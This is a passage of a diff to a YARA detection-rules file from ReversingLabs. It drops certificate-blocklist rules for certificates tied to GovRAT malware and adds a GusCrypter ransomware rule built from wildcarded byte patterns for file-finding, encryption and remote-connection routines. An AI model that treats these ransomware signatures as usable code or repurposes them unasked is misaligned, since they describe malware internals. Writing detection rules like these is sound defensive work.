8D ?? ?? ?? ?? 8D 51 + ?? 0F 1F 80 ?? ?? ?? ?? 8A 01 41 84 C0 75 ?? 2B CA 8D 85 ?? ?? ?? ?? 51 50 8D 4D + } + $find_files_p4 = { + E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 8D 51 ?? 8A 01 41 84 C0 75 ?? 2B CA 8D 85 ?? ?? ?? + ?? 51 50 8D 4D ?? E8 ?? ?? ?? ?? 83 EC ?? 8D 45 ?? 83 7D ?? ?? 8B FC 0F 43 45 ?? C7 + 07 ?? ?? ?? ?? C7 47 ?? ?? ?? ?? ?? 89 47 ?? C6 45 ?? ?? 8B 5D ?? 85 DB 74 ?? 6A ?? + 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B CF E8 ?? ?? ?? ?? 8B 43 ?? 8D 8D ?? ?? ?? ?? 89 + 47 ?? 89 7B ?? 89 1F E8 ?? ?? ?? ?? 8B 45 ?? 8D 4D ?? 83 EC ?? 83 7D ?? ?? 8B FC 0F + 43 4D ?? 03 C1 C7 07 ?? ?? ?? ?? C7 47 ?? ?? ?? ?? ?? 89 47 ?? C6 45 ?? ?? 8B 5D ?? + 85 DB 74 ?? 6A ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B CF E8 ?? ?? ?? ?? 8B 43 ?? 8D + 8D ?? ?? ?? ?? 89 47 ?? 89 7B ?? 89 1F E8 ?? ?? ?? ?? 83 EC ?? 8D 45 ?? 83 7D ?? ?? + 8B FC 0F 43 45 ?? C7 07 ?? ?? ?? ?? C7 47 ?? ?? ?? ?? ?? 89 47 ?? C6 45 ?? ?? 8B 5D + ?? 85 DB 74 ?? 6A ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B CF E8 ?? ?? ?? ?? 8B 43 ?? + 8D 8D ?? ?? ?? ?? 89 47 ?? 89 7B ?? 89 1F E8 ?? ?? ?? ?? BA ?? ?? ?? ?? C6 45 + } + $find_files_p5 = { + 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 6A ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? E8 ?? + ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? C6 45 ?? + ?? 8D 55 ?? 83 7D ?? ?? 8B 4D ?? 0F 43 55 ?? C7 45 ?? ?? ?? ?? ?? 89 4D ?? 83 F9 ?? + 72 ?? 49 83 C8 ?? 3B C8 89 4D ?? 0F 42 C1 03 C2 0F 1F 40 ?? 80 38 ?? 75 ?? 0F B6 08 + 80 F9 ?? 75 ?? 33 C9 EB ?? 1B C9 83 C9 ?? 85 C9 74 ?? 3B C2 74 ?? 48 EB ?? 2B C2 EB + ?? 83 C8 ?? 6A ?? 8D 78 ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? + ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? + 83 C4 ?? C7 00 ?? ?? ?? ?? C7 40 ?? ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 89 08 C6 45 ?? ?? + 8B 45 ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C6 85 ?? ?? ?? + ?? ?? 3B C7 0F 82 ?? ?? ?? ?? 2B C7 C7 45 ?? ?? ?? ?? ?? 83 C9 ?? 89 45 ?? 83 F8 ?? + 0F 42 C8 83 7D ?? ?? 8D 45 ?? 0F 43 45 ?? 51 03 C7 8D 8D ?? ?? ?? ?? 50 E8 ?? ?? ?? + ?? 83 8D ?? ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? C6 85 ?? ?? ?? ?? ?? 8D 85 ?? ?? ?? + ?? FF B5 ?? ?? ?? ?? 8D 4D ?? 50 E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D + } + $find_files_p6 = { + 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 EC ?? 8D 45 ?? 83 7D ?? ?? 8B FC 0F 43 45 ?? C7 07 + ?? ?? ?? ?? C7 47 ?? ?? ?? ?? ?? 89 47 ?? C6 45 ?? ?? 8B 5D ?? 85 DB 74 ?? 6A ?? 8D + 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B CF E8 ?? ?? ?? ?? 8B 43 ?? 8D 8D ?? ?? ?? ?? 89 47 + ?? 89 7B ?? 89 1F E8 ?? ?? ?? ?? 8B 45 ?? 8D 4D ?? 83 EC ?? 83 7D ?? ?? 8B FC 0F 43 + 4D ?? 03 C1 C7 07 ?? ?? ?? ?? C7 47 ?? ?? ?? ?? ?? 89 47 ?? C6 45 ?? ?? 8B 5D ?? 85 + DB 74 ?? 6A ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B CF E8 ?? ?? ?? ?? 8B 43 ?? 8D 8D + ?? ?? ?? ?? 89 47 ?? 89 7B ?? 89 1F E8 ?? ?? ?? ?? 83 EC ?? 8D 45 ?? 83 7D ?? ?? 8B + FC 0F 43 45 ?? C7 07 ?? ?? ?? ?? C7 47 ?? ?? ?? ?? ?? 89 47 ?? C6 45 ?? ?? 8B 5D ?? + 85 DB 74 ?? 6A ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B CF E8 ?? ?? ?? ?? 8B 43 ?? 8D + 8D ?? ?? ?? ?? 89 47 ?? 89 7B ?? 89 1F E8 ?? ?? ?? ?? BA ?? ?? ?? ?? C6 45 ?? ?? 8D + 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 6A ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? + ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? C6 45 ?? ?? + 33 FF 66 66 0F 1F 84 00 ?? ?? ?? ?? 83 7D ?? ?? 8D 45 ?? FF B7 ?? ?? ?? ?? 0F 43 45 + ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 0F 85 ?? ?? ?? ?? 83 7D ?? ?? 8D 45 ?? 68 ?? ?? + ?? ?? 0F 43 45 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 0F 85 ?? ?? ?? ?? 83 C7 ?? 83 FF + ?? 72 ?? 8B 5D ?? 85 DB 0F 85 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 E8 ?? + ?? ?? ?? 83 C4 ?? 85 C0 74 ?? 8B 46 ?? 8D 4D ?? 51 39 46 ?? 74 ?? 8B C8 E8 ?? ?? ?? + ?? 8B 7E ?? 8D 8D ?? ?? ?? ?? 6A ?? E8 ?? ?? ?? ?? 8B 0E 8D 41 ?? F7 D9 1B C9 23 C8 + } + $find_files_p7 = { + 74 ?? 8B 01 85 C0 74 ?? 39 78 ?? 72 ?? 77 ?? C7 00 ?? ?? ?? ?? 8B 01 8B 40 ?? 89 01 + EB ?? 8D 48 ?? 8B 01 85 C0 75 ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 46 ?? ?? EB ?? + 50 8B CE E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? + 85 C0 75 ?? 8B 46 ?? 8D 4D ?? 51 39 46 ?? 74 ?? 8B C8 E8 ?? ?? ?? ?? 8B 7E ?? 8D 8D + ?? ?? ?? ?? 6A ?? E8 ?? ?? ?? ?? 8B 0E 8D 41 ?? F7 D9 1B C9 23 C8 74 ?? 8B 01 85 C0 + 74 ?? 66 0F 1F 44 00 ?? 39 78 ?? 72 ?? 77 ?? C7 00 ?? ?? ?? ?? 8B 01 8B 40 ?? 89 01 + EB ?? 8D 48 ?? 8B 01 85 C0 75 ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 46 ?? ?? EB ?? + 50 8B CE E8 ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? 8D 45 ?? 50 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? + ?? ?? 83 8D ?? ?? ?? ?? ?? 8B D8 8B 7D ?? 85 FF 74 ?? 8B 3F 8B CB E8 ?? ?? ?? ?? 3B + } + $find_files_p8 = { + C7 74 ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? E8 + ?? ?? ?? ?? 83 C4 ?? 83 F8 ?? 75 ?? CC 6A ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? + ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 8B 43 ?? 3B 45 ?? 74 ?? 8D 85 ?? ?? ?? + ?? 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 75 ?? B3 ?? EB ?? 32 DB 8B 85 ?? + ?? ?? ?? A8 ?? 74 ?? 83 E0 ?? 89 85 ?? ?? ?? ?? 6A ?? 8D 4D ?? C6 45 ?? ?? E8 ?? ?? + ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 84 DB 0F + 84 ?? ?? ?? ?? 8B 46 ?? 8D 4D ?? 51 39 46 ?? 0F 84 ?? ?? ?? ?? 8B C8 E8 ?? ?? ?? ?? + 8B 7E ?? 8D 8D ?? ?? ?? ?? 6A ?? E8 ?? ?? ?? ?? 8B 0E 8D 41 ?? F7 D9 1B C9 23 C8 74 + ?? 8B 01 85 C0 74 ?? 90 39 78 ?? 72 ?? 77 ?? C7 00 ?? ?? ?? ?? 8B 01 8B 40 ?? 89 01 + EB ?? 8D 48 ?? 8B 01 85 C0 75 ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 46 ?? ?? E9 ?? + ?? ?? ?? 83 FB ?? 0F 85 ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? 8D 45 ?? 50 8D 85 ?? ?? ?? ?? + 50 E8 ?? ?? ?? ?? 83 8D ?? ?? ?? ?? ?? 8B D8 8B 7D ?? 85 FF 74 ?? 8B 3F 8B CB E8 ?? + ?? ?? ?? 3B C7 74 ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? + ?? 6A ?? E8 ?? ?? ?? ?? 83 C4 ?? 83 F8 ?? 75 ?? CC 6A ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? + ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 8B 43 ?? 3B 45 ?? 75 ?? 8D + } + $find_files_p9 = { + 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 75 ?? B3 ?? EB ?? 32 + DB 8B 85 ?? ?? ?? ?? A8 ?? 74 ?? 83 E0 ?? 89 85 ?? ?? ?? ?? 6A ?? 8D 8D ?? ?? ?? ?? + C6 45 ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? + ?? ?? ?? C6 45 ?? ?? 84 DB 0F 84 ?? ?? ?? ?? 8B 46 ?? 8D 4D ?? 51 39 46 ?? 0F 84 ?? + ?? ?? ?? 8B C8 E8 ?? ?? ?? ?? 8B 7E ?? 8D 4D ?? 6A ?? E8 ?? ?? ?? ?? 8B 0E 8D 41 ?? + F7 D9 1B C9 23 C8 74 ?? 8B 01 85 C0 74 ?? 39 78 ?? 72 ?? 77 ?? C7 00 ?? ?? ?? ?? 8B + 01 8B 40 ?? 89 01 EB ?? 8D 48 ?? 8B 01 85 C0 75 ?? 8D 4D ?? E8 ?? ?? ?? ?? 83 46 ?? + ?? E9 ?? ?? ?? ?? 83 FB ?? 0F 85 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 E8 + ?? ?? ?? ?? 83 C4 ?? 85 C0 75 ?? 8B 46 ?? 8D 4D ?? 51 39 46 ?? 74 ?? 8B C8 E8 ?? ?? + ?? ?? 8B 7E ?? 8D 4D ?? 6A ?? E8 ?? ?? ?? ?? 8B 0E 8D 41 ?? F7 D9 1B C9 23 C8 74 ?? + 8B 01 85 C0 74 ?? 66 0F 1F 44 00 ?? 39 78 ?? 72 ?? 77 ?? C7 00 ?? ?? ?? ?? 8B 01 8B + } + $find_files_p10 = { + 40 ?? 89 01 EB ?? 8D 48 ?? 8B 01 85 C0 75 ?? 8D 4D ?? E8 ?? ?? ?? ?? 83 46 ?? ?? EB + ?? 50 8B CE E8 ?? ?? ?? ?? 8B 9D ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 53 FF 15 ?? ?? ?? + ?? 83 F8 ?? 0F 84 ?? ?? ?? ?? 53 FF 15 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8B F8 83 FF ?? + 75 ?? 33 FF 6A ?? 8D 4D ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 8D 4D + ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? + 8D 4D ?? E8 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 8D 4D ?? E8 + ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 4D + ?? E8 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 8B C7 8B 4D ?? 64 89 0D ?? ?? ?? ?? 59 5F + 5E 5B 8B 4D ?? 33 CD E8 ?? ?? ?? ?? 8B E5 5D C3 C7 84 05 ?? ?? ?? ?? ?? ?? ?? ?? 8B + 85 ?? ?? ?? ?? 8B 48 ?? 8D 41 ?? 89 84 0D ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? + ?? 8B 85 ?? ?? ?? ?? 8B 40 ?? C7 84 05 ?? ?? ?? ?? ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8B + 48 ?? 8D 41 ?? 89 84 0D ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? C6 45 ?? ?? 50 C7 85 ?? ?? ?? + ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? E9 ?? ?? ?? ?? E8 + } + $encrypt_files_p1 = { + B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 C4 89 44 24 ?? 55 8B 6C 24 ?? 56 8B + 74 24 ?? 57 8B 7C 24 ?? 85 F6 0F 8E ?? ?? ?? ?? FF 35 ?? ?? ?? ?? 57 E8 ?? ?? ?? ?? + 83 C4 ?? 50 E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? 57 E8 + ?? ?? ?? ?? 83 C4 ?? 89 44 24 ?? 85 C0 75 ?? A1 ?? ?? ?? ?? 85 C0 75 ?? E8 ?? ?? ?? + ?? A3 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? 50 E8 ?? ?? ?? ?? 83 C4 + ?? 83 C8 ?? 5F 5E 5D 8B 4C 24 ?? 33 CC E8 ?? ?? ?? ?? 83 C4 ?? C3 8B 4C 24 ?? 8B C1 + 83 E8 ?? 74 ?? 51 68 ?? ?? ?? ?? 8D 44 24 ?? 6A ?? 50 E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? + 83 C4 ?? 85 C0 75 ?? E8 ?? ?? ?? ?? A3 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A + ?? 6A ?? 50 E8 ?? ?? ?? ?? 8D 44 24 ?? 50 68 ?? ?? ?? ?? 6A ?? E8 ?? ?? ?? ?? 83 C4 + ?? 83 C8 ?? 5F 5E 5D 8B 4C 24 ?? 33 CC E8 ?? ?? ?? ?? 83 C4 ?? C3 68 ?? ?? ?? ?? 68 + ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? 8B F8 83 C4 ?? 85 FF 75 ?? A1 ?? ?? ?? ?? 85 C0 75 + } + $encrypt_files_p2 = { + E8 ?? ?? ?? ?? A3 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? 50 E8 ?? ?? + ?? ?? 83 C4 ?? 83 C8 ?? 5F 5E 5D 8B 4C 24 ?? 33 CC E8 ?? ?? ?? ?? 83 C4 ?? C3 33 C9 + 85 F6 7E ?? 8D 56 ?? 53 8B 5C 24 ?? 03 D7 66 0F 1F 44 00 ?? 8A 04 19 8D 52 ?? 41 88 + 42 ?? 3B CE 7C ?? 5B 8D 44 24 ?? 89 74 24 ?? 50 8B 44 24 ?? 57 6A ?? 6A ?? 6A ?? FF + 70 ?? FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? A1 ?? ?? ?? ?? 85 C0 75 ?? E8 ?? ?? + ?? ?? A3 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? 50 E8 ?? ?? ?? ?? 83 + C4 ?? FF 15 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? 8D 44 24 ?? 6A ?? 50 E8 ?? ?? ?? ?? 8D 44 + 24 ?? 50 68 ?? ?? ?? ?? 6A ?? E8 ?? ?? ?? ?? FF 74 24 ?? 57 E8 ?? ?? ?? ?? 68 ?? ?? + ?? ?? 68 ?? ?? ?? ?? 57 E8 ?? ?? ?? ?? 83 C4 ?? 83 C8 ?? 5F 5E 5D 8B 4C 24 ?? 33 CC + E8 ?? ?? ?? ?? 83 C4 ?? C3 8B 74 24 ?? 56 57 55 E8 ?? ?? ?? ?? 56 57 E8 ?? ?? ?? ?? + 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 57 E8 ?? ?? ?? ?? 83 C4 ?? 8B 4C 24 ?? 8B C6 5F 5E 5D + 33 CC E8 ?? ?? ?? ?? 83 C4 ?? C3 + } + $remote_connection_p1 = { + 55 8B EC 6A ?? 68 ?? ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 81 EC ?? ?? ?? ?? A1 ?? ?? ?? ?? + 33 C5 89 45 ?? 53 56 57 50 8D 45 ?? 64 A3 ?? ?? ?? ?? 89 8D ?? ?? ?? ?? 6A ?? E8 ?? + ?? ?? ?? FF 35 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 6A ?? + E8 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? 8B D8 FF 35 ?? ?? ?? ?? 68 ?? ?? ?? ?? 53 E8 ?? ?? + ?? ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 6A ?? 50 E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 83 + C4 ?? 49 90 8A 41 ?? 8D 49 ?? 84 C0 75 ?? A1 ?? ?? ?? ?? BA ?? ?? ?? ?? 83 3D ?? ?? + ?? ?? ?? 89 01 A1 ?? ?? ?? ?? 0F 43 15 ?? ?? ?? ?? 89 41 ?? 8B F2 A1 ?? ?? ?? ?? 89 + 41 ?? A1 ?? ?? ?? ?? 89 41 ?? A1 ?? ?? ?? ?? 89 41 ?? 8A 02 42 84 C0 75 ?? 8D BD ?? + ?? ?? ?? 2B D6 4F 8A 47 ?? 47 84 C0 75 ?? 8B CA C1 E9 ?? F3 A5 8B CA 83 E1 ?? F3 A4 + 8D 8D ?? ?? ?? ?? 49 8A 41 ?? 8D 49 ?? 84 C0 75 ?? A1 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? + 8B F2 89 01 66 A1 ?? ?? ?? ?? 66 89 41 ?? A0 ?? ?? ?? ?? 88 41 ?? 66 90 8A 02 42 84 + C0 75 ?? 8D BD ?? ?? ?? ?? 2B D6 4F 8A 47 ?? 47 84 C0 75 ?? 8B CA C1 E9 ?? F3 A5 8B + CA 83 E1 ?? F3 A4 8D 8D ?? ?? ?? ?? 49 0F 1F 00 8A 41 ?? 8D 49 ?? 84 C0 75 ?? A1 ?? + ?? ?? ?? 8B F3 89 01 66 A1 ?? ?? ?? ?? 66 89 41 ?? A0 ?? ?? ?? ?? 88 41 ?? 8A 03 43 + 84 C0 75 ?? 8D BD ?? ?? ?? ?? 2B DE 4F 8A 47 ?? 47 84 C0 75 ?? 8B CB C1 E9 ?? F3 A5 + 8B CB 83 E1 ?? F3 A4 8D 8D ?? ?? ?? ?? 49 8A 41 ?? 8D 49 ?? 84 C0 75 ?? A1 ?? ?? ?? + ?? 8B 95 ?? ?? ?? ?? 8B F2 89 01 A1 ?? ?? ?? ?? 89 41 ?? A0 ?? ?? ?? ?? 88 41 ?? 0F + } + $remote_connection_p2 = { + 1F 44 00 ?? 8A 02 42 84 C0 75 ?? 8D BD ?? ?? ?? ?? 2B D6 4F 8A 47 ?? 47 84 C0 75 ?? + 8B CA C1 E9 ?? F3 A5 8B CA 83 E1 ?? F3 A4 8D 8D ?? ?? ?? ?? 49 0F 1F 00 8A 41 ?? 8D + 49 ?? 84 C0 75 ?? A1 ?? ?? ?? ?? 89 01 A1 ?? ?? ?? ?? 89 41 ?? A1 ?? ?? ?? ?? 89 41 + ?? A0 ?? ?? ?? ?? 6A ?? 88 41 ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? + ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 8D 8D ?? ?? + ?? ?? 83 C4 ?? C7 00 ?? ?? ?? ?? C7 40 ?? ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 89 08 C7 45 + ?? ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 8D 51 ?? C7 85 ?? ?? + ?? ?? ?? ?? ?? ?? C6 85 ?? ?? ?? ?? ?? 0F 1F 00 8A 01 41 84 C0 75 ?? 2B CA 8D 85 ?? + ?? ?? ?? 51 50 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 6A ?? 68 ?? ?? ?? + ?? C7 45 ?? ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? + 6A ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 8B 3D ?? ?? ?? ?? 8B D8 85 + DB 74 ?? 6A ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 83 EC ?? 8D 85 ?? ?? ?? ?? 8B CC 50 E8 ?? + ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 50 68 ?? ?? ?? ?? 53 FF 15 ?? ?? ?? ?? 8B F0 85 F6 + 74 ?? 6A ?? 6A ?? 6A ?? 6A ?? 6A ?? 6A ?? 56 FF 15 ?? ?? ?? ?? 85 C0 74 ?? 6A ?? 56 + FF 15 ?? ?? ?? ?? 56 FF D7 53 FF D7 FF B5 ?? ?? ?? ?? FF D7 8D 8D ?? ?? ?? ?? E8 ?? + ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 4D ?? 64 89 0D ?? ?? ?? ?? 59 5F 5E 5B + 8B 4D ?? 33 CD E8 ?? ?? ?? ?? 8B E5 5D C3 + } condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "HON HAI PRECISION INDUSTRY CO. LTD." and pe.signatures [ i ] . serial == "25:65:41:e2:04:61:90:33:f8:b0:9f:9e:b7:c8:8e:f8" and 1424303999 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and ( all of ( $find_files_p* ) ) and ( all of ( $encrypt_files_p* ) ) and ( all of ( $remote_connection_p* ) ) } - -rule REVERSINGLABS_Cert_Blocklist_00E8Cc18Cf100B6B27443Ef26319398734 : INFO FILE +rule REVERSINGLABS_Win32_Ransomware_Guscrypter : TC_DETECTION MALICIOUS MALWARE FILE { meta: - description = "Certificate used for digitally signing GovRAT malware." + description = "Yara rule that detects GusCrypter ransomware." author = "ReversingLabs" - id = "f7e80c51-9dcf-599a-8164-c07cf4c9c5ff" - date = "2020-08-05" - modified = "2023-11-08" + id = "64aa468c-ec24-58aa-8ea9-23f0cebed227" + date = "2020-11-26" + modified = "2020-11-26" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L1434-L1452" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.GusCrypter.yara#L1-L129" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "68e9df056109cae41d981090c7a98ddc192a445647d7475569ddbe4118e570c5" + logic_hash = "cfe6005028c0e5f5d713af2a549574203678bab2ee48acc1727702bcf91522b1" score = 75 quality = 90 - tags = "INFO, FILE" + tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "INFO" + category = "MALWARE" + tc_detection_type = "Ransomware" + tc_detection_name = "GusCrypter" + tc_detection_factor = 5 importance = 25 - condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Syngenta" and ( pe.signatures [ i ] . serial == "00:e8:cc:18:cf:10:0b:6b:27:44:3e:f2:63:19:39:87:34" or pe.signatures [ i ] . serial == "e8:cc:18:cf:10:0b:6b:27:44:3e:f2:63:19:39:87:34" ) and 1404172799 <= pe.signatures [ i ] . not_after ) -} - -rule REVERSINGLABS_Cert_Blocklist_62Af28A7657Ba8Ab10Fa8E2D47250C69 : INFO FILE -{ - meta: - description = "Certificate used for digitally signing GovRAT malware." - author = "ReversingLabs" - id = "cba20a1b-5d24-5a1f-8f2f-8c47add846d6" - date = "2020-08-05" - modified = "2023-11-08" - reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L1454-L1470" - license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "c3c034cb4e2c65e2269fbfd9c045eb294badde60389ae62ed694ea4d61c5eb35" - score = 75 - quality = 90 - tags = "INFO, FILE" - status = "RELEASED" - sharing = "TLP:WHITE" - category = "INFO" - importance = 25 + strings: + $find_files_p1 = { + 8A 01 41 84 C0 75 ?? 2B CA 8D 85 ?? ?? ?? ?? 51 50 8D 4D ?? E8 ?? ?? ?? ?? C6 45 ?? + ?? 8D 45 ?? 8B 5D ?? 83 FB ?? 8B 75 ?? 8B 4D ?? 0F 43 C6 83 F9 ?? 75 ?? 80 38 ?? 0F + 84 ?? ?? ?? ?? 83 FB ?? 8D 45 ?? 0F 43 C6 83 F9 ?? 75 ?? BA ?? ?? ?? ?? 66 39 10 0F + 84 ?? ?? ?? ?? 83 FB ?? 8D 55 ?? 0F 43 D6 83 F9 ?? 75 ?? 66 81 3A ?? ?? 75 ?? 80 7A + ?? ?? 0F 84 ?? ?? ?? ?? 83 FB ?? 8D 45 ?? 0F 43 C6 83 F9 ?? 75 ?? 81 38 ?? ?? ?? ?? + 0F 84 ?? ?? ?? ?? 83 FB ?? 8D 55 ?? 0F 43 D6 83 F9 ?? 75 ?? 81 3A ?? ?? ?? ?? 75 ?? + 66 81 7A ?? ?? ?? 75 ?? 80 7A ?? ?? 0F 84 ?? ?? ?? ?? 8B 45 ?? 8D 4D ?? 83 FB ?? 0F + 43 CE 83 F8 ?? 75 ?? BA ?? ?? ?? ?? 8D 78 ?? 8B 01 3B 02 75 ?? 83 C1 ?? 83 C2 ?? 83 + EF ?? 73 ?? 8A 01 3A 02 0F 84 ?? ?? ?? ?? 8B 45 ?? 83 FB ?? 8D 4D ?? 0F 43 CE 83 F8 + ?? 75 ?? BA ?? ?? ?? ?? 8D 78 ?? 8B 01 3B 02 75 ?? 83 C1 ?? 83 C2 ?? 83 EF ?? 73 ?? + 66 8B 01 66 3B 02 75 ?? 8A 41 ?? 3A 42 ?? 0F 84 ?? ?? ?? ?? 8B 45 ?? 83 FB ?? 8D 4D + ?? 0F 43 CE 83 F8 ?? 75 ?? BA ?? ?? ?? ?? 8D 78 ?? 8B 01 3B 02 75 ?? 83 C1 ?? 83 C2 + ?? 83 EF ?? 73 ?? 66 8B 01 66 3B 02 75 ?? 8A 41 ?? 3A 42 ?? 0F 84 ?? ?? ?? ?? 8B 4D + ?? 8D 45 ?? 83 FB ?? 0F 43 C6 83 F9 ?? 75 ?? 81 38 ?? ?? ?? ?? 75 ?? 81 78 ?? ?? ?? + ?? ?? 75 ?? 80 78 